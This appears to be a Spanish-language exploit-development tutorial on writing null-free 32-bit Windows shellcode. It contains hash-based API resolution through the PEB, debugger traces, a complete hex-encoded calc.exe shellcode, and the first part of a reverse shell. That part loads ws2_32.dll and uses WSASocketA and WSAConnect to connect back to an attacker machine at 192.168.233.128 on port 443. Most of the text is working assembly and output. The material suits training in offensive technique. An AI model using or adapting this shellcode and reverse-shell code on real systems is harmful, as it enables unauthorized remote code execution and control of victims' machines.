eip=00f71018 esp=013ffe94 ebp=013ffec4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x1018:
00f71018 6aff push 0FFFFFFFFh
0:000> p
eax=774a9070 ebx=77480000 ecx=00000000 edx=00f71000 esi=779bab5c edi=014e2388
eip=00f7101a esp=013ffe90 ebp=013ffec4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x101a:
00f7101a ffd0 call eax {KERNEL32!TerminateProcessStub (774a9070)}
0:000> p
eax=774a9070 ebx=77480000 ecx=013ffe78 edx=77931670 esi=779bab5c edi=014e2388
eip=77931670 esp=013ffe78 ebp=013ffe88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
77931670 c3 ret
Actualmente nuestro shellcode
se ve de la siguiente forma, hemos logrado cargar funciones de kernel32.dll
y ejecutarlas sin embargo aun tenemos un problema
global _start
_start:
int3
mov ebp, esp ; new stack frame
sub esp, 0x28 ; space for variables
call .find_kernel32 ; find kernel32
push 0x8ee05933 ; TerminateProcess() hash
call .find_function ; find TerminateProcess()
xor ecx, ecx ; $ecx = 0x0
push ecx ; uExitCode
push 0xffffffff ; hProcess
call eax ; call TerminateProcess()
.find_kernel32:
xor ecx, ecx ; TEB structure
mov esi, [fs: ecx + 0x30] ; PEB Address
mov esi, [esi + 0xc] ; ntdll!PebLdr
mov esi, [esi + 0x14] ; InMemoryOrderModuleList
mov esi, [esi] ; ntdll.dll
lodsd ; kernel32.dll
mov ebx, [eax + 0x10] ; kernel32 base
ret ; return
.find_function:
pusha ; save all registers
mov eax, [ebx + 0x3c] ; RVA to PE signature
mov edi, [ebx + eax + 0x78] ; RVA of Export Table
add edi, ebx ; Export Table
mov ecx, [edi + 0x18] ; NR of Names
mov eax, [edi + 0x20] ; RVA of Name Pointer Table
add eax, ebx ; Name Pointer Table
mov [ebp - 0x4], eax ; var4 = Name Pointer Table
.find_loop:
jecxz .find_end ; if ecx = 0x0
dec ecx ; counter -= 1
mov eax, [ebp - 0x4] ; $eax = Name Pointer Table
mov esi, [eax + ecx * 4] ; RVA of symbol name
add esi, ebx ; symbol name<
xor eax, eax ; $eax = 0x0
cdq ; $edx = 0x0
.compute_hash:
lodsb ; load in al next byte from esi
test al, al ; check null terminator
jz .find_end ; If ZF == 1
ror edx, 0x2f ; rot 47
add edx, eax ; add new byte
jmp .compute_hash ; loop
.compare_hash:
cmp edx, [esp + 0x24] ; cmp edx, hash
jnz .find_loop ; if zf != 1
mov edx, [edi + 0x24] ; RVA of Ordinal Table
add edx, ebx ; Ordinal Table
mov cx, [edx + 2 * ecx] ; extrapolate ordinal functions
mov edx, [edi + 0x1c] ; RVA of Address Table
add edx, ebx ; Address Table
mov eax, [edx + 4 * ecx] ; RVA of function
add eax, ebx ; function
mov [esp + 0x1c], eax ; overwrite eax from pushad
.find_end:
popa ; restore registers
ret ; return
Al compilar el shellcode
y mostrarlo en formato hexadecimal notamos algo que nos dara muchos problemas y son los 0x00
que encontramos a lo largo de el
❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m elf_i386 -o shellcode
❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\xcc\x89\xe5\x83\xec\x28\xe8\x11\x00\x00\x00\x68\x33\x59\xe0\x8e\xe8\x1a\x00\x00\x00\x31\xc9\x51\x6a\xff\xff\xd0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x14\x8b\x36\xad\x8b\x58\x10\xc3\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x35\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xac\x84\xc0\x74\x24\xc1\xca\x2f\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xe0\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3
Null bytes
La principal razón de los 0x00
viene en las instrucciones de call
a las funciones
0:000> g
(1680.167c): Break instruction exception - code 80000003 (first chance)
eax=013ffc88 ebx=011e6000 ecx=00d01000 edx=00d01000 esi=00d01000 edi=00d01000
eip=00d01000 esp=013ffc30 ebp=013ffc3c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x1000:
00d01000 cc int 3
0:000> u eip L7
shellcode+0x1000:
00d01000 cc int 3
00d01001 89e5 mov ebp,esp
00d01003 83ec28 sub esp,28h
00d01006 e811000000 call shellcode+0x101c (00d0101c)
00d0100b 683359e08e push 8EE05933h
00d01010 e822000000 call shellcode+0x1037 (00d01037)
00d01015 31c9 xor ecx,ecx
Una forma de resolver este problema es reorganizando el código además de guardar la dirección de .find_function
en una variable de ebp
en este caso var8
global _start
_start:
int3
mov ebp, esp ; new stack frame
sub esp, 0x28 ; space for variables
.find_kernel32:
xor ecx, ecx ; TEB structure
mov esi, [fs: ecx + 0x30] ; PEB Address
mov esi, [esi + 0xc] ; ntdll!PebLdr
mov esi, [esi + 0x14] ; InMemoryOrderModuleList
mov esi, [esi] ; ntdll.dll
lodsd ; kernel32.dll
mov ebx, [eax + 0x10] ; kernel32 base
jmp .find_short ; short jump
.find_ret:
pop esi ; $esi = return addr
mov [ebp - 0x8], esi ; var8 = .find_function
jmp .symbol_kernel32 ; load function from kernel32
.find_short:
call .find_ret ; relative call
.find_function:
pusha ; save all registers
mov eax, [ebx + 0x3c] ; RVA to PE signature
mov edi, [ebx + eax + 0x78] ; RVA of Export Table
add edi, ebx ; Export Table
mov ecx, [edi + 0x18] ; NR of Names
mov eax, [edi + 0x20] ; RVA of Name Pointer Table
add eax, ebx ; Name Pointer Table
mov [ebp - 0x4], eax ; var4 = Name Pointer Table
.find_loop:
jecxz .find_end ; if ecx = 0x0
dec ecx ; counter -= 1
mov eax, [ebp - 0x4] ; $eax = Name Pointer Table
mov esi, [eax + ecx * 4] ; RVA of symbol name
add esi, ebx ; symbol name
xor eax, eax ; $eax = 0x0
cdq ; $edx = 0x0
.compute_hash:
lodsb ; load in al next byte from esi
test al, al ; check null terminator
jz .compare_hash ; If ZF == 1
ror edx, 0x2f ; rot 47
add edx, eax ; add new byte
jmp .compute_hash ; loop
.compare_hash:
cmp edx, [esp + 0x24] ; cmp edx, hash
jnz .find_loop ; if zf != 1
mov edx, [edi + 0x24] ; RVA of Ordinal Table
add edx, ebx ; Ordinal Table
mov cx, [edx + 2 * ecx] ; extrapolate ordinal functions
mov edx, [edi + 0x1c] ; RVA of Address Table
add edx, ebx ; Address Table
mov eax, [edx + 4 * ecx] ; RVA of function
add eax, ebx ; function
mov [esp + 0x1c], eax ; overwrite eax from pushad
.find_end:
popa ; restore registers
ret ; return
.symbol_kernel32:
push 0x8ee05933 ; TerminateProcess() hash
call [ebp - 0x8] ; call .find_function
mov [ebp - 0xc], eax ; var12 = ptr to TerminateProcess()
.exit:
cdq ; $edx = 0x0
push edx ; uExitCode
push 0xffffffff ; hProcess
call [ebp - 0xc] ; call TerminateProcess()
Saltamos hasta la parte que nos interesa que es después de encontrar la base de kernel32.dll
, ejecuta un salto a .find_short
, y este llama a .find_ret
, despues de ello guarda en esi
la dirección de retorno que apunta a .find_function
0:000> r
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=779bab5c edi=00b32388
eip=00dc1020 esp=009ffb38 ebp=009ffb60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x1020:
00dc1020 eb06 jmp shellcode+0x1028 (00dc1028)
0:000> p
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=779bab5c edi=00b32388
eip=00dc1028 esp=009ffb38 ebp=009ffb60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x1028:
00dc1028 e8f5ffffff call shellcode+0x1022 (00dc1022)
0:000> t
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=779bab5c edi=00b32388
eip=00dc1022 esp=009ffb34 ebp=009ffb60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x1022:
00dc1022 5e pop esi
0:000> u poi(esp)
shellcode+0x102d:
00dc102d 60 pushad
00dc102e 8b433c mov eax,dword ptr [ebx+3Ch]
00dc1031 8b7c0378 mov edi,dword ptr [ebx+eax+78h]
00dc1035 01df add edi,ebx
00dc1037 8b4f18 mov ecx,dword ptr [edi+18h]
00dc103a 8b4720 mov eax,dword ptr [edi+20h]
00dc103d 01d8 add eax,ebx
00dc103f 8945fc mov dword ptr [ebp-4],eax
Después guardamos la dirección de .find_function
en la variable de ebp - 8
0:000> p
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=00dc102d edi=00b32388
eip=00dc1023 esp=009ffb38 ebp=009ffb60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x1023:
00dc1023 8975f8 mov dword ptr [ebp-8],esi ss:0023:009ffb58=00000000
0:000> p
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=00dc102d edi=00b32388
eip=00dc1026 esp=009ffb38 ebp=009ffb60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x1026:
00dc1026 eb54 jmp shellcode+0x107c (00dc107c)
0:000> u poi(ebp - 8)
shellcode+0x102d:
00dc102d 60 pushad
00dc102e 8b433c mov eax,dword ptr [ebx+3Ch]
00dc1031 8b7c0378 mov edi,dword ptr [ebx+eax+78h]
00dc1035 01df add edi,ebx
00dc1037 8b4f18 mov ecx,dword ptr [edi+18h]
00dc103a 8b4720 mov eax,dword ptr [edi+20h]
00dc103d 01d8 add eax,ebx
00dc103f 8945fc mov dword ptr [ebp-4],eax
Luego pasamos a .symbol_kernel32
y para resolver el simbolo TerminateProcess
empujamos el hash pero en lugar de llamar directamente a .find_function
llamamos a [ebp - 8]
que lo contiene, y como el resultado queda en eax
lo movemos a la variable var - 12
, entonces al llamar a TerminateProcess
llamamos a la variable que lo almacena, como llamamos a una variable evitamos null bytes
0:000> p
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=00dc102d edi=00b32388
eip=00dc107c esp=009ffb38 ebp=009ffb60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x107c:
00dc107c 683359e08e push 8EE05933h
0:000> p
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=00dc102d edi=00b32388
eip=00dc1081 esp=009ffb34 ebp=009ffb60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x1081:
00dc1081 ff55f8 call dword ptr [ebp-8] ss:0023:009ffb58=00dc102d
0:000> p
eax=774a9070 ebx=77480000 ecx=00000000 edx=00dc1000 esi=00dc102d edi=00b32388
eip=00dc1084 esp=009ffb34 ebp=009ffb60 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
shellcode+0x1084:
00dc1084 8945f4 mov dword ptr [ebp-0Ch],eax ss:0023:009ffb54=00000000
0:000> u eax
KERNEL32!TerminateProcessStub:
774a9070 8bff mov edi,edi
774a9072 55 push ebp
774a9073 8bec mov ebp,esp
774a9075 5d pop ebp
774a9076 ff2534495077 jmp dword ptr [KERNEL32!_imp__TerminateProcess (77504934)]
774a907c cc int 3
774a907d cc int 3
774a907e cc int 3
0:000> g
eax=774a9070 ebx=77480000 ecx=009ffb14 edx=77931670 esi=00dc102d edi=00b32388
eip=77931670 esp=009ffb14 ebp=009ffb24 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
77931670 c3 ret
Exec calc.exe
Para ejecutar una calculadora podemos usar la función WinExec
que esta dentro de kernel32.dll
, lo primero sera resolver el simbolo y almacenarlo en una variable, como podemos ver la forma de resolver los simbolos se resume a 3 instrucciones, empujar el hash
, llamar a la variable que contiene .find_funcion
y almacenar el resultado en una variable
, esto reduce significativamente el tamaño del shellcode
.symbol_kernel32:
push 0x8ee05933 ; TerminateProcess() hash
call [ebp - 0x8] ; call .find_function
mov [ebp - 0xc], eax ; var12 = ptr to TerminateProcess()
push 0x10121ee3 ; WinExec() hash
call [ebp - 0x8] ; call .find_function
mov [ebp - 0x10], eax ; var16 = ptr to WinExec()
Según la documentación WinExec requiere 2 argumentos, el primero es el puntero a la string
del comando y la segunda el tipo de ventana, usaremos SW_NORMAL
UINT WinExec(
[in] LPCSTR lpCmdLine,
[in] UINT uCmdShow
);
A través de push guardamos la string calc.exe
en el stack y guardamos la dirección en esi
, luego pusheamos el tipo de ventana que equivale a 0x1
y como segundo argumento esi
que es la dirección de la string, para finalmente llamar a la función
.call_winexec:
cdq ; $edx = 0x0
push edx ; "\x00"
push 0x6578652e ; ".exe"
push 0x636c6163 ; "calc"
mov esi, esp ; "calc.exe"
push 0x1 ; uCmdShow
push esi ; lpCmdLine
call [ebp - 0x10] ; call WinExec()
Para salir correctamente usaremos TerminateProcess que requiere 2 argumentos, el primero es el numero de proceso, usamos 0xffffffff
o -1
ya que hace referencia al proceso actual y el segundo parametro es el codigo de estado donde usamos 0
BOOL TerminateProcess(
[in] HANDLE hProcess,
[in] UINT uExitCode
);
Nuevamente establecemos los argumentos y llamamos a la función con la variable
.exit:
push edx ; uExitCode
push 0xffffffff ; hProcess
call [ebp - 0xc] ; call TerminateProcess()
Desde el debugger podemos ver que los argumentos se guarden correctamente y finalmente llamamos a la función desde la variable, esto lanza una calculadora
0:000> r
eax=76b1cf20 ebx=76ac0000 ecx=00000000 edx=004e1000 esi=006efaf4 edi=00733320
eip=004e10a4 esp=006efaec ebp=006efb30 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x10a4:
004e10a4 ff55f0 call dword ptr [ebp-10h] ss:002b:006efb20={KERNEL32!WinExec (76b1cf20)}
0:000> dds esp L2
006efaec 006efaf4
006efaf0 00000001
0:000> da poi(esp)
006efaf4 "calc.exe"
0:000> p
ModLoad: 767d0000 76848000 C:\Windows\SysWOW64\sechost.dll
ModLoad: 77230000 772ee000 C:\Windows\SysWOW64\RPCRT4.dll
ModLoad: 77600000 77619000 C:\Windows\SysWOW64\bcrypt.dll
eax=00000021 ebx=76ac0000 ecx=dcde89c7 edx=00000000 esi=006efaf4 edi=00733320
eip=004e10a7 esp=006efaf4 ebp=006efb30 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x10a7:
004e10a7 51 push ecx
Finalmente nos queda un shellcode
para abrir una calculadora, libre de null bytes
y otros badchars conocidos y con un peso bastante bajo de apenas 162
bytes, es muy bueno pero podemos bajarlo incluso mas como en este shellcode de solo 148
❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m elf_i386 -o shellcode
❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x89\xe5\x83\xec\x28\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x14\x8b\x36\xad\x8b\x58\x10\xeb\x06\x5e\x89\x75\xf8\xeb\x53\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x35\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x2f\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xe0\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x33\x59\xe0\x8e\xff\x55\xf8\x89\x45\xf4\x68\xe3\x1e\x12\x10\xff\x55\xf8\x89\x45\xf0\x99\x52\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe6\x6a\x01\x56\xff\x55\xf0\x52\x6a\xff\xff\x55\xf4
Exec revshell
Afortunadamente WinExec
estaba dentro de kernel32.dll
, pero ¿que pasa si queremos enviar una reverse shell o realizar una acción que necesite una libreria externa?, para ello necesitaremos resolver otro simbolo que es LoadLibraryA
, además de CreateProcessA
que usaremos más adelante al enviar una reverse shell
.symbol_kernel32:
push 0x8ee05933 ; TerminateProcess() hash
call [ebp - 0x8] ; call .find_function
mov [ebp - 0xc], eax ; var12 = ptr to TerminateProcess()
push 0x583c436c ; LoadLibraryA() hash
call [ebp - 0x8] ; call .find_function
mov [ebp - 0x10], eax ; var16 = ptr to LoadLibraryA()
push 0xa9f72dc9 ; CreateProcessA() hash
call [ebp - 0x8] ; call .find_function
mov [ebp - 0x14], eax ; var20 = ptr to CreateProcessA()
La función LoadLibraryA solo requiere un argumento y es el nombre de la libreria, en este caso las funciones que necesitamos vienen de la libreria ws2_32.dll
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);
Empujamos la string ws2_32.dll
terminandola con un null byte y ejecutamos un push esp
para guardar el puntero que contiene la string, luego llamamos a la función LoadLibraryA
que cargara la libreria devolviendo su dirección base en eax
.load_ws2_32:
xor eax, eax ; $eax = 0x0
mov ax, 0x6c6c ; "ll"
push eax ; "ll\x00\x00"
push 0x642e3233 ; "32.d"
push 0x5f327377 ; "ws2_"
push esp ; "ws2_32.dll"
call [ebp - 0x10] ; call LoadLibraryA()
Luego de cargar la libreria necesitamos resolver los simbolos necesarios para la revshell, este proceso es parecido al de antes, movemos a ebx la dirección base de ws2_32.dll
y cargamos las 3 funciones necesarias en variables de ebp
.symbol_ws2_32:
mov ebx, eax ; $ebx = ws2_32 base
push 0xe17a7010 ; WSAStartup() hash
call [ebp - 0x8] ; call .find_function
mov [ebp - 0x18], eax ; var24 = ptr to WSAStartup()
push 0xe0a06fc5 ; WSASocketA() hash
call [ebp - 0x8] ; call .find_function
mov [ebp - 0x1c], eax ; var28 = ptr to WSASocketA()
push 0xe0966ca8 ; WSAConnect() hash
call [ebp - 0x8] ; call .find_function
mov [ebp - 0x20], eax ; var32 = ptr to WSAConnect()
Podemos comprobar esto desde el debugger, despues de guardar el puntero a la string en el stack como argumento llamamos a LoadLibraryA
e incluso el debugger nos muestra que se ha cargado un nuevo modulo y la dirección base esta en eax
0:000> r
eax=00006c6c ebx=77480000 ecx=00000000 edx=00dd1000 esi=00dd102d edi=015c2388
eip=00dd10ae esp=013fff28 ebp=013fff68 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x10ae:
00dd10ae 54 push esp
0:000> da esp
013fff28 "ws2_32.dll"
0:000> p
eax=00006c6c ebx=77480000 ecx=00000000 edx=00dd1000 esi=00dd102d edi=015c2388
eip=00dd10af esp=013fff24 ebp=013fff68 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x10af:
00dd10af ff55f0 call dword ptr [ebp-10h] ss:0023:013fff58={KERNEL32!LoadLibraryAStub (774a8b20)}
0:000> p
ModLoad: 76bb0000 76c16000 C:\Windows\System32\ws2_32.dll
eax=76bb0000 ebx=77480000 ecx=00000000 edx=00000000 esi=00dd102d edi=015c2388
eip=00dd10b2 esp=013fff28 ebp=013fff68 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x10b2:
00dd10b2 89c3 mov ebx,eax
0:000> r eax
eax=76bb0000
0:000> lm m ws2_32
Browse full module list
start end module name
76bb0000 76c16000 ws2_32 (deferred)
El proceso de cargar simbolos es igual a como lo haciamos en kernel32.dll
, se empuja el hash, se llama a .find_function
y se guarda la función en una variable
0:000> p
eax=76bb0000 ebx=76bb0000 ecx=00000000 edx=00000000 esi=00dd102d edi=015c2388
eip=00dd10b4 esp=013fff28 ebp=013fff68 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x10b4:
00dd10b4 6810707ae1 push 0E17A7010h
0:000> p
eax=76bb0000 ebx=76bb0000 ecx=00000000 edx=00000000 esi=00dd102d edi=015c2388
eip=00dd10b9 esp=013fff24 ebp=013fff68 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x10b9:
00dd10b9 ff55f8 call dword ptr [ebp-8] ss:0023:013fff60=00dd102d
0:000> p
eax=76bb5e00 ebx=76bb0000 ecx=00000000 edx=00000000 esi=00dd102d edi=015c2388
eip=00dd10bc esp=013fff24 ebp=013fff68 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
shellcode+0x10bc:
00dd10bc 8945e8 mov dword ptr [ebp-18h],eax ss:0023:013fff50=00000000
0:000> u eax
ws2_32!WSAStartup:
76bb5e00 8bff mov edi,edi
76bb5e02 55 push ebp
76bb5e03 8bec mov ebp,esp
76bb5e05 6afe push 0FFFFFFFEh
76bb5e07 68d85cbf76 push offset ws2_32!StringCopyWorkerW+0xf9 (76bf5cd8)
76bb5e0c 6860a5bc76 push offset ws2_32!_except_handler4 (76bca560)
76bb5e11 64a100000000 mov eax,dword ptr fs:[00000000h]
76bb5e17 50 push eax
La función WSAStartup recibe 2 argumentos, el primero parece que es la versión de la especificación Windows Sockets, la documentación nos dice que la ultima es 2.2
asi que usaremos esa, el segundo es un puntero a la estructura WSADATA
int WSAStartup(
[in] WORD wVersionRequired,
[out] LPWSADATA lpWSAData
);
La función comienza moviendo el esp
a eax
, luego ecx
almacena el valor 0x590
que se restaran a eax
, este espacio es necesario para evitar que las instrucciones se sobrescriban con la estructura WSAData
, luego empujamos el puntero a la estructura y la version que son los argumentos para posteriormente llamar a la función
.call_wsastartup:
mov eax, esp ; $eax = $esp
xor ecx, ecx ; $ecx = 0x0
mov cx, 0x590 ; $ecx = 0x590
sub eax, ecx ; sub ecx to avoid overwriting
push eax ; lpWSAData
xor eax, eax ; $eax = 0x0
mov ax, 0x0202 ; $eax = 0x00000202
push eax ; wVersionRequired
call [ebp - 0x18] ; call WSAStartup()
Antes de llamar a WSAStartup
podemos ver los 2 argumentos, la versión y el puntero a la estructura que esta bastante detrás que la dirección del esp
como definimos
0:000> r
eax=00000202 ebx=773a0000 ecx=00000590 edx=00a70000 esi=0058102d edi=00a73320
eip=005810e7 esp=009ffec0 ebp=009fff14 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x10e7:
005810e7 ff55e8 call dword ptr [ebp-18h] ss:002b:009ffefc={ws2_32!WSAStartup (773a9cc0)}
0:000> dds esp L2
009ffec0 00000202
009ffec4 009ff938
0:000> p
eax=00000000 ebx=773a0000 ecx=e5a1d462 edx=00a74c90 esi=0058102d edi=00a73320
eip=005810ea esp=009ffec8 ebp=009fff14 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x10ea:
005810ea 31c0 xor eax,eax
Es el turno de la función WSASocketA que se encarga de crear el socket, este recibe 6
argumentos que tienen tipos de datos conocidos como int
y dword
aunque tambien encontramos extraños como los parametros lpProtocolInfo
y g
SOCKET WSAAPI WSASocketA(
[in] int af,
[in] int type,
[in] int protocol,
[in] LPWSAPROTOCOL_INFOA lpProtocolInfo,
[in] GROUP g,
[in] DWORD dwFlags
);
• af
: es la familia de direcciones utilizada por el socket, nosotros usaremos AF_INET que tiene como valor 2
y corresponde a las direcciones IPv4
• type
: especifica el tipo de socket, necesitamos usar SOCK_STREAM que tiene como valor 1
y corresponde al tipo TCP
• protocol
: se basa en los 2 argumentos anteriores, en nuestro necesitamos usar IPPROTO_TCP que tiene como valor 6
• lpProtocolInfo
: requiere un puntero a la estructura WSAPROTOCOL_INFO, pero se puede establecer a null (0
) ya que usamos un protocolo TCP/IP
• g
: se utiliza para especificar un id de gurp de socket, ya que solo creamos uno podemos establecerlo en null (0
)
• dwFlags
: se utiliza para especificar atributos adicionales, como no los requerimos podemos establecerlo en null (0
)
Una vez sabemos que usar en los argumentos podemos empujar los parametros al stack de acuerdo a lo entendido y posteriormente llamar WSASocketA
.call_wsasocketa:
xor eax, eax ; $eax = 0x0
push eax ; dwFlags
push eax ; g
push eax ; lpProtocolInfo
mov al, 0x6 ; IPPROTO_TCP
push eax ; protocol
mov al, 0x1 ; SOCK_STREAM
push eax ; type
inc eax ; AF_INET
push eax ; af
call [ebp - 0x1c] ; call WSASocketA()
Al llamar a WSASocketA
se crea el socket y en eax
nos devuelve un valor que es el socket descriptor
que usaremos para comunicarnos con este mas adelante, en caso de que hubiera fallado el valor de retorno hubiera sido 0xffff
0:000> r
eax=00000002 ebx=773a0000 ecx=e5a1d462 edx=00a74c90 esi=0058102d edi=00a73320
eip=005810f7 esp=009ffeb0 ebp=009fff14 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
shellcode+0x10f7:
005810f7 ff55e4 call dword ptr [ebp-1Ch] ss:002b:009ffef8={ws2_32!WSASocketA (773b7140)}
0:000> dds esp L6
009ffeb0 00000002
009ffeb4 00000001
009ffeb8 00000006
009ffebc 00000000
009ffec0 00000000
009ffec4 00000000
0:000> p
ModLoad: 71c50000 71ca2000 C:\Windows\SysWOW64\mswsock.dll
eax=0000010c ebx=773a0000 ecx=e5a1d462 edx=00000014 esi=0058102d edi=00a73320
eip=005810fa esp=009ffec8 ebp=009fff14 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x10fa:
005810fa 89c6 mov esi,eax
int WSAAPI WSAConnect(
[in] SOCKET s,
[in] const sockaddr *name,
[in] int namelen,
[in] LPWSABUF lpCallerData,
[out] LPWSABUF lpCalleeData,
[in] LPQOS lpSQOS,
[in] LPQOS lpGQOS
);
• s
: requiere el descriptor del socket con el que se comunica, esto lo devuelve la funcion anterior
• name
: requiere un puntero a la estructura sockaddr, para el protocolo IPv4 utilizaremos la estructura sockaddr_in
El primer valor es sin_family
que requiere la familia de direcciones del transporte, este valor tiene que ser AF_INET, el siguiente es sin_port
que especifica el puerto, despues sin_addr
que es una estructura anidada de tipo IN_ADDR que almacenara la IP dentro de un dword, el ultimo es sin_zero
que se puede poner a 0
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
• namelen
: el tamaño de la estructura, el tamaño de sockaddr_in es de 0x10
• lpCallerData, lpCalleeData
: requieren punteros a datos de usuario que seran transferidos entre sockets, no son compatibles con TCP/IP por lo que los establecemos en 0
• lpSQOS
: requiere un puntero a la estructura FLOWSPEC que se utiliza en aplicaciones que soportan parametros QoS, como no es el caso vale null (0
)
• lpGQOS
: esta reservado, simplemente se establece en null (0
)
Para la estructura sockaddr_in
necesitamos convertir la dirección ip del kali (192.168.233.128
) al formato correcto igual que el puerto (443
)
0:000> ? 0n192
Evaluate expression: 192 = 000000c0
0:000> ? 0n168
Evaluate expression: 168 = 000000a8
0:000> ? 0n233
Evaluate expression: 233 = 000000e9
0:000> ? 0n128
Evaluate expression: 128 = 00000080
0:000> ? 0n443
Evaluate expression: 443 = 000001bb
La funcion comienza guardando el descriptor en esi
, despues configura la estructura sockin_addr
, empujamos 0x0
a la pila 2 veces para el valor de sin_zero[]
, luego empujamos el dword con la ip
de kali, luego movemos a eax
el puerto 443
y usando shl
desplazamos el valor a la izquierda 0x10
bytes y añadiremos 0x2
al registro ax
, esto porque ambos miembros sin_port
y sin_family
estan definidos con 2
bytes de longitud, luego guardamos en edi
el puntero a la estructura
.call_wsaconnect:
mov esi, eax ; socket descriptor
xor eax, eax ; $eax = 0x0
push eax ; sin_zero[]
push eax ; sin_zero[]
push 0x80e9a8c0 ; "192.168.233.128"
mov ax, 0xbb01 ; 443
shl eax, 0x10 ; shift eax
add ax, 0x2 ; add 0x2
push eax ; sin_port & sin_family
mov edi, esp ; $edi = sockaddr_in
Finalmente empujamos al stack todos los argumentos y llamamos a la función
xor eax, eax ; $eax = 0x0
push eax ; lpGQOS
push eax ; lpSQOS
push eax ; lpCalleeData
push eax ; lpCallerData
mov al, 0x10 ; $eax = 0x10
push eax ; namelen
push edi ; name
push esi ; s
call [ebp - 0x20] ; call WSAConnect()
